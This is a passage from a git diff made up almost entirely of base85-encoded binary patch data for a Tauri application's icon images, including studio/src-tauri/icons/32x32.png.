z+`F?zPJB#R{nM}Yl%$1^9qZ*C3TD>uTkrSg<X%lU5|;gix<E8LsFl&a_<YC`GG*c4
z2N^3_hd6r9VC_(Dq4CTI`*XVZ0$YPVOl2h>R)CWsRL24%;<HMk!+CgDp}C5d>{6*7
zqWzq_Wh}PwaPey8`-E?me)b^z!_Y};V_w><hb}WM<61_J`ug)nvWh+GXB0fHL4_S4
zdw_R=@nf-ap6@lRr?ZCN_G+L^Lmm8Ca`?2x?&Op{^MSz}J&t5W8^lJSlVMRK{uxad
zYsT^~;^m)BmUkT+X5N74`8;F99dkp;QXl^h(n)^-G<Vck00000NkvXXu0mjfSQAHk

literal 9194
zcma)iMOYk6wCvzckRMNA@W22e*x>FEAh^2(2oOBjFlcc1!GpWIyK8U@g9eu%6YOz!
zZ*#xzF1mZsz3Mtur~A|iS5uM0!=}Ur004Lj^3v+BEA)Q`Ci?5#FKRXp0MOSeNK0sb
zUp>vjNK0B+7@nRY^$0L3b7MhfRVPtH!tscvq@t`%U7qn3Z7K;5@1){|41GDNrSg%w
z#?sc5mLa5iFMrOKWwqve;Au1U-7}4S-Xqn$YPzLgh})_4U|r+6cs=uW#|dB2`q54f
z$c;vUJ`#nCVksMn#6{l^NRKyzPK<DhTU(L?xw&xTDE`0gp9-;=CJ(5VmnPbW=O5_b
zCrdojOmK>8FnTwscdBD`l-5Zqg2oEzN_O$*VbfRjt_6C)wRh96CuThrm!U-61$BlI
z<BE)65O4$5oRa;|4rTzHtasfgGtq97=rU^8B>id#l4+gPq(tS$tzmql&12!`mHxGY
zEzx*#ZDiKy-?&*;Q=-V)O;XB=m%0qf#YO~I>)!C2y&(!3MOeop(>SU?H~Q!9Hs8dE
zyWErIvc$}W8v@2>{5g(lujp=vyt&^;r?(02dxb93CoFS{j1n4}7@ty*Tr@kJup|G?
zp8AZ1bjpoM7~GJKmbLu?JFdT<?@s5)`GipJdU^I4otjGN#}`t*U3XQzLpVI$rG}5&
zj91(YPH}v(O8^$LRNg}A9cL<kk(3R$?~;vfpu9=hX~V0y+88q}RL<o5ob7k3=k;*f
zY;}9Gq9xkB6C<>nZj&8v5hE~^<vFaKwfE3CUTCF~t;zp}cG*%mIJ3y~mw>%7I|8q)
zx!!%xVj}wUyXm9T1QT+^b4H{6-mDyT{KI*-N!Rng<1&xHDqq=p>q*Q0P&_V&Ri0r0
z(<j9-r2^e*ovMj`#3jMWszIIR$m(2zWc}N16vw$Gog_gphgclF5f1iVn97sod8M~P
zb>QM$vz3tZlrK<;m6dh3s{Jfs?b!pyW>~{HARGYo(bCp#OZ|wnwP6i&*sY%yP2_V}
zJrrQIavY^hFEU12qVE1H=cQy4skkT*R3}~?ZTWjDj;$9LrC=!+G_PQ+p`HJaUnjKr
zjIO=$nB$?`kw$Y_0^9W({IHS4qOtpTUNyGjJ~K0uRXSEak(2vt`)SkFpW+<Fa_!2p
zPO>U7_Z#!{4!eLT6D|!=j_h+y$viGe742KnLOMzj6iWdx2arl@pt^jS;dH@!OBD+u
z8=F@r*G|3g>^Pe*a~13VC{@+{?0t8>zHZpu_7jU{5+Fz8*KpGP@_gnOOD$4hpUN>;
zXaKg2<O$<VS|<J_?`yf4%4N2~rdQP@7r@1Amv4>}hZ&uLG}Bqg3STOrT56UtIB3tQ
za9rnO=VKnqY<1oHsgSt)bhqURr;3DZw7F|Z`&1_85iyY$P75sNNn!k%FOJ2f;#2n6
z^7CA=S~4m$SgL|OK?2GmmbB>B5%a@bu1|`|n3I{6(2Y1VD1WrjGl*mDy@O_j$+}Ha
z)Um*NC96N1VT+nE1Yza%j5yd!R27ZCIbL$IUan0DawfO6rb2zk^EQg*BQ_3>m5x;)
zeGI=O<Y8?~ap}Ev51*I$^ODO()Sac-sJ>q)a&Z?WeauV=c@M6z&3fsGnDcQje$*dr
zH3pTGP^0@dVvlNP?dPI$kBxRK52!YSl(RuBX%`iojsT6c;EO`62>@}X-|b4>nq#{j
z+vvuzZ!%`{L}tMR=Vb4+3@afejOPmvt|`ZYKFOU>iG-)#*2XS52|{#x%lG<I>)xWl
zURF4<|7T*mUn`1ui}Tn)gi*9(<Ky(hcdPav5IZz4?=h&q=OW=x;UG-+3|oI6gZHRz
z81(n{!K_YspE;rRXUS0A`};GSvH&uN(U(7}{w}%Eggt+~YXS!CDtuNvxBT`(sT||B
z`+xkn2Tu&x_}!EVa~|M?<l#srlo6H$i}w?YS#GDIgLd<1e+a<W$|O5-e9l_yuBU{A
z;PppoUzsw_QK@=S|K0U<I>)Yq?tC}B4n{-WkKbK_k|oZld`s4a?g_LoNK^(dPrB`}
zpvkc#7?nP5#q^fau*$5M-Fqsh4qBURuOc?x8X%p^vH2)Cbek$?qunzV<3F!;RU@S+
z@q!Hu(Ef;mhDnkYY*9!xkM=ZBT#Cp)8JTs1q!Gq{^q-us5ae=@Y`hnP<|Hikh1%ge
z@2%P0Sm(6Xo!biv{x{Z%zPWY~<Z`n_BTH!f?JiF)!xsW9aXQ&r(fi!|n5#Jsi$Ygp
zC1xg_YGd{vG?12#hqHFaK_Q{CI`yXAZKa@B2!~rM@U4F7nN;>H=H&=)6AXGBv8M1s
z88CT*dz&Sn9v~s7R*zxCbOSlp*VA?LDnbJAdKdHFMg#aoVQ(-NvE@jN)b4OP_Xc+}
zHcuj0F7thR!`ab(0WE_>Zr9**M%^c_rekr0TP$~Br3!!;$quZ{zOPqr-5Smc0wosl
z=spP(Pv2gj<XDx^MdbKDx5A$G^#o$DLP5kl!Gf5-nA_x9n#uzOb^8P)I^8^a2>l1b
z2<v<iE(h~qUid?h%?`y<h2D-h{kp-oz<s^etE(xCtWN;Uly}Jub%WgEDUa}L^V0*+
zlIxy;>;4F}&k60Ts<;sE1hIZ{zlajHS5OF#q88CFQq4KrNB;Ud-Au0BPx=H%o?O%w
z!YvL!Q5{^{!k}iLuf6R@-`ey!XCF^te^?+8%fONsM&h9>>Lt&`e6Ne-s%0VxRHO0s
zm-!<rP`va_K!)B6J&@Y_Fpn^6i#$9h*&6#|LiizpQE3<4jre4VKlG*Vh-B@IcChfq
z;y?5`hfCtIjn+>(hzDrUTT1kOF~@a&#P6Utl$E_U5;Q2ebGF2s7$$x<$(e3*3bfS{
zpZh?~RO}C)hdWVyZa+f;++=UXTjW!{)o6`LA>w}UVQL@cXT-F>;0wReKy!&H*TD4j
zbS!E*!O|Z-+#K&CmeihvN(2fk)7}&kMjP%=mynVACTa8${2&qkv-Tffx9U1~FzcMK
zU>WvFG0EeW`ld|AOcy%O22P!fFHh(GMin%dUnO$f%+U^V{JVT#^IHt79}m*LdURNo
zcC$d1IxvnS)hVluTZ%W!JM#!a&$lcZ8oRewm~laxMq8XSvGskhnecvqSk-NF6!LI-
zfGMex*E^e;XkR!d`+I$;#U|5PcK2RJe;oSHuzZjufM<mvpds9!@uG3<d<U0;>G+iu
zZlCKk^&e-0<-VHuoHpWr8kn}0{E4NNXbdi5_z+iXJI}<z%9`-1CE`rBZRva1`hR2X
zi^pU+r+@#96-{VA?-Fu(Ts^(>XbsUbh(H~|$MC{GTGqiooLPHk(CSiX2tn+z^xl5@
z@4?KB>8xR1#kKq<0#x;F3&kR=X`g)ov?!v>^!YU&tVZH!&vcEAjV<?L-wMo?hTLuX
zsKy9ijbPGWQ{iYZgGiJ~9&f7slM9tn+wOdt&lxd127t=3tnvs7B;P9@o##5ycA1#?
zbo*yWKJIVgtZ?{3tE)}x??9ZlX@S9i7Rpl%8lNp?ZJrYPLcG7MH93%=*LJ@`(dc&c
zi^aMRqg#%bU<R=db9!4J&o<^<FO(3Eeft21n=_AoHC(juWLB6r1EZ;T{?oBXoBW*h
zAh0pmvozcmEtB*;fhYRVz@ahut^2RfQ+DXGT~D`bR<8*-l3;|*W6ShfXaDuCSi4^_
z-%yMl1Pq)<e}3B1tNXEmaf3pDCHs9ZS!Z2@*J)Fjj^yMaTrt4syi*5qzm0JRA<I&_
z2+-Oq^~6CbHGV3P$XT;L7^yXIY#pproL_JbkT)j$5u%=+bdc?%5+ib}Tbxr4yI8C=
z(20NRdr($h<&xfk>+)>z5ujek^kGnpW=ZxFz|L8<Bp2q`rqHwnd6*>UGG^&%6-bS~
zc2k+BMMEw{^&2^(s1&qM(>~#}whv1sNgX+ARybU#FYfqvR6YfjzEiKVD(6fYX}k-<
zc;mrne7}<U<5wN1x`QiFB(9DG=kj>2P$_F&^BUbZ8CAo``%j??<LB?I)h1$|r{7Oe
zVCBr&-zBYy1Q&ZVsmq>l0gLJsY}f^Jw;1~(rE9-O;xQJynGOl3kHA^u1JM-RL*dI(
z_yPqHHxA{Tiv<}Uf5<@xfW4^Bb}5Zd`?*2*5w=O{s0k&X?e0c=gt5qxmX<o=+qeQg
z@=YlIYmavI#<$Pp1H^;uF5Af(=ISaP)@yH$&V&99+9P1uorn36yJ9a0Rq5)X9e-Hw
z58fAe<cBdmn=F!2V$OJFV445RGa+b`{FkPjWa1wMw00ZJu%nN#{3_+&N&#Aw{1zvg
zzgFDAEVIFLnli5#Aww2Hy0z6r-C8Z;*OQk!MxvROQEd@^^v@2>8!7+&XRmAuU&-;6
zx^0OuS`s~8uC<u!1@<$a{41drMz?5cQ$*T#yo3*4l~JZgNuH|L#cGRHds<yYhar^&
zPipO)w^ViWnD;2EN*`z>It?5o<Ib2rd+`L@<GLS}77I34H8k+_{U>x%BQ=&E0KpQZ
zM!}@VCHx>I_Vjl?{_dCD{vX5QvId4Y?8{jBqsrx*8f{t>yUT<@j+e?Rc#c9Kphf%T
z`L3HD)WZ}zJyFJ2YC25R7;)OA#*Oi1kz-K|P6@850xf_6r<>oWJJUVk+;dWIL^KCE
zD~?5wMJKbsOPw@T7lN)?th@yBA@^G)|NLzxZ9yYgBu-rqQ|%n%!%$e8GQ*C^%fHm)
znSiw~!^+heFdMb1caa>^5jrxae?PmR8=LX_It+l{ol`+QoH`CReb0lBfmZzJ6^1(1
zBfkJL)x?|l>?O$21YAr1%@@###wB8}=jb;RI=s>!DSc5ZD&uh2jw!5vpa-?6+;-vW
za+qd3)dcd#?m2yglwF@c6{jO-0jDiBY>boXx9BBhi-!Yfz5wO!lQ!{0P(%Ob_T4&;
zdN8hyV!!Ss)0G!B(8~NpzU@1lZi0n1@?+iU;#J8l{fOOR8$j-{h8$t~%eF47$UC*{
znCr`Lag60<)FmtN!+?K6n9Ab2A!NqiwsocY%c#N}eVrsrMFWTe%<L_6U)I4}zV-G@
zGP0_lE_kP<hu&ljn_^a7&Z~+EV79hpqt>SV7n)PW;jCo!T)o5=FTyO6Nu<fif{v;8
zV#U>>C5QO7YnxCw>Yr;CgpL=XyXo%5uZ;!@BojouN^+!a14Vq4nza>onrYh5RQi!J
zwGi|6*SPNRZEUNpAWrL8E!n9acC?8;a_J3#<3ghsnneU(7dfBXm-kGUv-DSmO{KPZ
zcHnfn`Akc^9<E8<KN}sD^rAbFAG*TA=2odE(t@<`=Q&$zDf!dWc%biB#|}PpB163p
z_7J}^^V=@FfLWj@K@AP+l}_iz&yVG1R3#sc!JFSL7)U>pVcEJOLKca70GUopd>fW^
zw@j=_9R<RH;&uOWbZ_uO3}j+j1Ahn}`P0uukbvmI>ALpLRq?khh_JD-Gs|U*V$Kf|
z4dm29m!<LpidV%cq(#dY|KU+^DWDRLtajN?z<t<;q=o4xS;Au$nP`6o>9KK8J-JT>
z;hmzxUx;%L&p$%L&)eE;x^!ciyxq!3KX*`YTemPM;$SyAZFMP9P~eI`OVITeXPD}d
z|D6&#uju>F@8Q-R9r#%RXnz(-ElHXgQ7Aj%Qv$ktYIXZ#zFk|{)C-cAIGAIg0RD&U
z_)hjkQ4u^kO$mqqA5<54aO^84C@8<}hIyO>0>2{%o0_~zBBlg?3{PG|2OrCCrPz$K
z1@g#!4c&jCvlhMyE4T%?hLbqFLycIHhy-BvL1j3Syo+8v$1kEEXZv1yqbQOAmh)Xe
zNNk{*Y9~B-5Wh`XYpyu_$>VfYX0<atspdMCl6MR(^6@QnG?94;d-MK%o>6hpXpW$}
zU9$aeF8~$s$rYZco6v+lnJ}#}de4q-lbc=|(p5iRMWPbfxWXdfBzs9x@Nj%1mnf&L
zIZ39hZ)l#Q{RAG!Bg<b;e29w<4KmoP)^?rDKPAur6TC9a-))lq^5xIHOj;|`c`x}|
zRj(66CZBawZ|CnRBB-L3ZTkioK;gP>z=-R*spUiaVWUC9#kG#u_?y6}E_4|%sVief
zZCF8kF4a<Mi3(H0<qVUs;m|RpAVIeV#+1XP(+=PG-v>#(b67~AmVHFZEfi#eem1XE
zRKni&E$CQteu1dBl2=5rDQP)TRWd7UBQw~bph^{*pet0(U~g%rXsw{mwIxF&2y&cn
z7IcK**G|OSU28VL$Zpn?Czj$&IJU-w)?Uc0ygCc0xlNmg+*g#l>-8@~hy@+Uqaj%O
zo&9*>QugDGa4T+J=q+-IHD0jSH+OzVc9x0MAL5oHb#{0keIGA}>C30V@F+9R318U;
zt!S!2C%oo6Bl#iTB}0wDi@#VgmAyW3ibL*8Mr3Bl<2-fh&2BtRH8#B?yjaSbY7EOY
zy}%BD!TDk-cd`s|==%hH*@ie{-v(&3$4|Cr6<>hmY}&95Zcy@1fBPOhLEq;`gcd_+
zDL1Dd&?u(<$QdVGD(=NbPw3|J!Qq;2D<M|g!Z*iU;uo{P)a2B{%6{}<pcuaMJ9hJ@
z+z7<cEHEMGLT}?pa(c&Ddw8JPE>W>6<Uc4DkY71jD;DqFg<$@jq@A!klI>TpmHB!U
zsDA(H$|XT96#reDUdP4&|Ez2vH>vYqsb<_<OC`Z*j`!P{6&^jz=*m5fpZw%SZb>gh
zYMEMHOSTV0116Ta`_j%QSs5M`Taq-LQG$KlX8wx!*CO?hd@IGB3Q7BggnT3Wa1Ocs
zcpi?X=50+e-0`UH!p-*dz&Dg!)MTZcvV4}2XIwI>J^hbe$G$$_woz6YkdH#R^Do`%
zyxj%zhcqW>ar-5aal%Ael%h{NhbD``ZrYL$?La&MFrKh|y_={ih)MpTu*pY7CUOl5
z9_}5gv5D)?@ApigLYE<`90lLu_~rm`kZ9n)fsSu2_K-1YivoiEvK$A%J^@UL1ZcJI
zCQ%=!;s%f4Pfg~|U^7b1&}r1ihfLQg=MPo?^MbR<HOp0Bm8rq#K)xr%Oec%3d6YM!
zQ;wriNvWNzrZhyJK}8nMum$1%;NS7$gkfUhkk`MKvjpSudyg{`4-WRE#I>16vs;vR
zc!ko>HngRWlvuPmmO@5-;cK1>y9H|3p4|^d$pgyWvhjDEc1z?`^7lbLNPY|}Xr75l
zt<q^wyZ2O9EG3lq3|Vh-**~!+j+BC*MuXLM<XDplw~+Z#ENvm}TL3z3N%VMu>r@u%
z8xb^v08LP0Za^@wavWC#WMQ#H81`Y?jZM2zmGfm4VmjJwBGwlE7kO^TT^W_5`B)ZP
z=O*W*$ULIOEUJeM%c1S9wN%cxaPdwab54_0X|DzeEe)->N=IBl*n7!FbUFm7SfRnb
zb}!&oAV153Img#!x8oP1eg$yR-EU{Q+hpA7LTPRkz3!Vc9bs>Fr?+fOB@Q?SlP?(c
zHv|g(@=OkwW-mWlrX~6j+e{j>MR;5s!L+&&E|+y7#1K!S4KFggh>r-lM?0bACX-(v
zk7dhWGV$L)OU68?Q)j=8=~hKot*fG1LY4zW^Tg6+A8_p-&j}=Xn-rxl=iS!n;UyB2
zD`MhF^d@=;eQGysN-ng!|Em#?txH@Dx!w?}bJTT5uV#v%F!Wfl;_#ZMN%5ezANYs6
z54^DS2w+&o!cCS`|3ZhJ>qis2M`blZZAU-3R--5jxmWvMKQT}!4qUM$;Iqzd{#Y=t
z-{{z=XR9TQ7JqA`K2V!Y>_Bfr9Qt2R&BS#FaZXRC&s~+dri?#2z2u{Gnb)H+lns+X
z%`G#pDzfi6KlH0ue`7?OI$cTyw!9!q(zjhj5*bIdy?p_k?1q}}^Vwhb^nc(Aeo0uC
zDB&|!FkRY{dCK8U0+yoC?V!6r!Xj~oMSB_SiN<?8fScl0Tu~aS`T-f<&j2p7`)#J7
zH5wN0v$V*3ZQ9U{|JXc<bSGy*Eum`ahi{Ix!)W*h?fB?S$>Fg&%pT=1enTc?p<GAJ
zbA~=tYm>MdTak!-3<oPUl7$tfaDuI~<Xu%w3b>dtyx-T7Oz$LUP~sdJr_-<7vGuDO
zJ*NqHu0kI9jl3v%0hq^W=YyGPzIB&O46lf3541(SAPOsv;p?J&R;StXr8hZbqif*;
zVYYiX?F;5MhCeuL$Fq?qYVr<B`NHT8f9=GIb&VOqnbvZte{z-bo0ioD@-jXBJWH^3
z83}Vh5rgS;n3-E3OEW7&F~QBO#&2lbx@Kb8rTw)NVR~y%S5#rKr{X_|a`(UMbQz`U
z1{G#dY4oV^b>TT#Z`9asE4q0jPj0GJa43|N1ikx6@W6Cs+b5375ig7sdE{L6%G@cd
z(>OOc*ep)AhCYlU{81(gDg}^coFksy$2183&lSB4bty$Ogiq9@^F5;#TtNwHy-MWR
z)W&dLjd`;NVr6rIaL>H=^IFF3n=2*i?Rt`)c`Y+7my#=v;D&R{mQJ(p<~K*|ph2L2
z`%igB6L5p*kiJp<aYVkfbw$Y-xpzF}N-w$z_*w}2Y9u}flid!Qo4%b<SsSbGk3kF)
zsDFD8j(aycAc37rLyQ+F%?z2@#p;it7N5;Cut?J+-Z*))#n&TWNFI_Fw6(`DYtw)*
z^D&&8A*WL0Q@nl*9Pz||+;wigc^lnAm5Job#P1I?+ADf@TWQXS-VbBy1CYCqTH`(-
zd~wY&Du@yU4r$5Xy}z>mdo=fR_>Ig1>Ye`&m?8ybdQWcTZ2I_UQ>ok|irLzkc~_m7
z-W`>%I=IL&wcsY_%3%jN220Vhxk<$GYco<Cp1x}{##C-!%o)<mR@jB+4R({(7in|`
ziMxcFfCo(K&s6bGJt__p5>Ckf(4@Yv8`|$tPR5mv{4kv!STgpRB=nyxYCN+3pd;0;
zOPvnZDyq;w^q{YnpCxq_DE&&LkUTRyc<oldE1+J6xxH<KJ`yQJ14=2yK`BtwSqp}>
z*k}>`-bS;G5S9HwM_WTxqrj=c!ciH%OrAM#I@)bRf=m!kEPl8g3zy-}E#SN+1CBvc
z4E+DepQR!4c1v4^50w}%HO2srTuCj5jMy@KRtEw#=E;tJbNV>svVY1fuWG*})}ol_
z{UCk+@gr_NM#N!i*la5b!=y21xC!ZylPMjP%(zy4{pq~ef>|RmY6u|VSH&`jQ=oP*
z-IP`-f4QF^@aGHZDNvDd$Pg{8OTT=BZS^L}_-GzJt)Z44;|Kle-W6`my(v!brAK!8
z-GjQ;wZQd3zdl;tm5PV|*H_n}&}2u#ZCkwo_sErx3<QqU0=9b{BOgI<WzWEZt;%s#
z>W}W*!)H&aerNq7qaO5;VCKM+!ps_Pg#1Aj|0GPI=yW34EXovKw?ddiuru_ylaU6@
zj>%ZywT<#XaUhYiIluq#Ae^y0dPbz4dT?p5u?#R6RpDA)GR5s-nCtmX6~boY#1@kq
z2$13(L}LqLB4pcy9D5R|YOmhc21`@w=-)RNZLRvDq{q&bF%79=SI3$N&O5x-N+0@E
zI6n-a<IuCz`{V89xcwoEU4ExZ1@E4uk=(XRrMet{@Et>A6mq;YIQB}1{XqOfqPGgU
zKsLH2#DGeyyjbv3m0H@7eB<q_<C4{m=ZGI<aMTr05`Y{6GSU5;#g~XlcwO>QP5?@;
zkGIU)WA&3V?cGor&bIb2f3TYEisTp>t!{!uK1_HJmi6~Q>}3Vb{ZIuNUroc&v?5s*
z%y}#$t{QOYQ_I8GrP|T2J*^~YgD8^(%_}~;aRY3X#{e3QSt~x<x)KK}Sw?j-?(N=j
z#9=S^WuE<b;1-p)kks=G@x1QGy$>9fnFT5XOryY9uS%O^R;-CD8!%BBl$QK}!L#QI
z#a>+%9Yf<QvcCLVnj0Iu3iC?H34LUSic$Rtk|?`6^alLhHq8pJv)0Xece!<&lvR}O
zOK9rpo)lAbp?j@M*>SbKEMu*U(n;<JcW#QSmtJdTu3n3>uTdd1Ik{K3AZblxKLke#
znsw|VR**!?d!ol+IBB^Y^1+JyFIkQAOXhTcD<pv3|J*dpqyRWHk5e@MHky*lL(?sW
zhrJuC;1lMhKMiT}#j^mU^m|1>OS9{S$b*J}&8mGuVtGyd^L~O7hqHQd)4FI-DGTei
z@80%*ji7FSxwEtz=iOEL(A94*uZ9A%y2RHg$%L@#vx%Mt5o`(^rNuE&q)m%Jx%|&d
z9Vc9XKZ+U0MuTxx4nks={}aihG&al-O81a;JR-xajwZ{|bq{C7-Ko~53&gjWQ7|f6
zLcscp@237qSHUhJ1I4ocCF)zVtS%HL(ThMUHV`*H(;SboRWL-?I<I{ln>su$G>AFK
zu{j3F_kH>)ZdB@IGedQmmAUUA(oaZbn3&4x1B_9LuhP|(^egMyFp62zEPro3D_T*x
z!AK(EJ0AM!9EK=HFhY_4mS$pfDx4Enn;#UBY{g>E89?Flm*xAnGtJceMH$b<76l4N
z_!R+uz@>F3in#)z1)Cju_+a@}a{5t37WmYiY+1iTx^;K$C31p%i(bWv#k6U)_MU!{
z^`>vj?qoB&S1?+EAMKrW-iO)4*`FIXm_^Rh?7wcxONt*uy+Lo}m{UubzfHb5Zv|p3
zvddCS(9Orsf*uQHw#F03c!(UkWqGUqXeyBnzn9wL3ScOHK0g_CTq0tMvyah0u8U^R
ziG3%uNMSHr)-yL9PG|gmJA`(&ywd4I=CieBA``OFbh*$twv}nYv&e+n<6?Gil;{vh
z$+~5xGQ_nKM{q)ACOlt5Q^x8`;I2xtzF36`Et=gEMj?b8*p9$@Fw&wSg9l{%5D5%e
zHEc5(S3Ak>Q(|=q>xdUXjjueqqcxgre&QK*NDmcTFLuh2&lX+iO)Z}VtJKGQ`$$-R
z;4fk<YSh?+rUIlR7HGC?+&#u#ulG}}H5O}dt3`jacpv{2hLtfcmj%c>9X?P^T+=$A
zk0Zp|*OcZwbh%VHuhsaXN_WE_CV1r|OvW1bg#oXgHaZ4zqQ|nZ6@zzP(C7J$u~bn~
zW@b0xxR)kTdn(!4q`Rt3OzgDEME?p2eu+8bRDJH<aZ=E3V!EGK=)VZW3n$Qi7Vfr;
zj>`TU#{G7M=dv`<!jA2I>rQd(-WbiMb4yUGiec>O5>_50cR|VM3Oj4!C%u5dd|0ZJ
zD#~H+HV_wye6`jB)w*3&xL00>!w$Io3lR!=&^&l(Tkx$?q^>|TQI7h!4uo?Ryw@z(
z%{wU2%>11eEl^f>`*ir(rkh7e;$caa1&NN%Scg?6nphJorJJjQr9%qSmEDR-zls{?
zW4aDO9Z_xIzWuf#k?1c+<y4Xk>dN`84f*?P@93r^4@F0;^FSp={0ZZ)Cp?wmO@_$K
zZ3wz%6<nKQ|M#e>p#Ay{{ATJ)&tkjxx&2=X*``zKvtN533pS^1HB1uZ_Wc<Rc<r}Y
zi@W9?J8L)4W%Z95FUv|&-_O38`|kr?F}r#ke4&I9x}}FJ)*PfVvmz2Y+S@kkCU@!^
zUIj5=zVmL}G((OI;CBA1h{eTMX5=YQry=$yZA((rq)~oz_MDg(G=_)xQ%fDX)sM>T
zM#b<3Pk=3H>TN%P<uQz&No-FX<OcELbxgAobDt+|{o%2`c$yNLdYz>hbC>dRg1Ncc
z=!_@$V3y_0Whoc^Y7zT2S4JQhvE#eDEQ{8K4!CV@nn$L}$(pNQJ=0HgA008*6q!*!
zhg<4a-Gdbv3t$f^oW!Hu2>jrHaDsE`w>Zb9y#1&ZO)o3fWUa0}0Wd%O{&#nXYmSw=
zPQ~;q{jlB}EKfPbhJG)CWr2>zhiz9rul$rZFl1}?MQMs#z0gr3Z%@u;&ZjiW2qa}W
z8=;*tE@e%;J?jvrpMs#YbIVrmmfVN&f+hDW$+fkVv7Y=GF2iQ?)8&dndO8pEa_W5$
zwo+ExW_P!9qL%V-8%-D4x2I$&JrPcZ>Ilm0#!+tZzm|$3%4osjPc?Kw)E2<NYvh22
zhplbzEp$e2eT}{ZXX0av8bQKY_WJ9x+~j0OEA&FqxX-o>15TQ_YB~K^q})H_`64F%
kkG(JdTWid~@C%B_coT-7W7*1U4-Y^=Mn$?x(lqe@0mld9rT_o{

diff --git a/studio/src-tauri/icons/32x32.png b/studio/src-tauri/icons/32x32.png
index bd08d7bcbb6badbdb5abc9a230b5f45d357e1a46..d5c1123fceb2240ce8ed20dde1c8d4a80c176126 100644
GIT binary patch
delta 2051
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

delta 1915
zcmV->2ZZ>M5Q-0wB!5v!L_t(|+QnCWOw{)o|J?81??8r}fJ7ZHmiPi%-YgTL)yd38
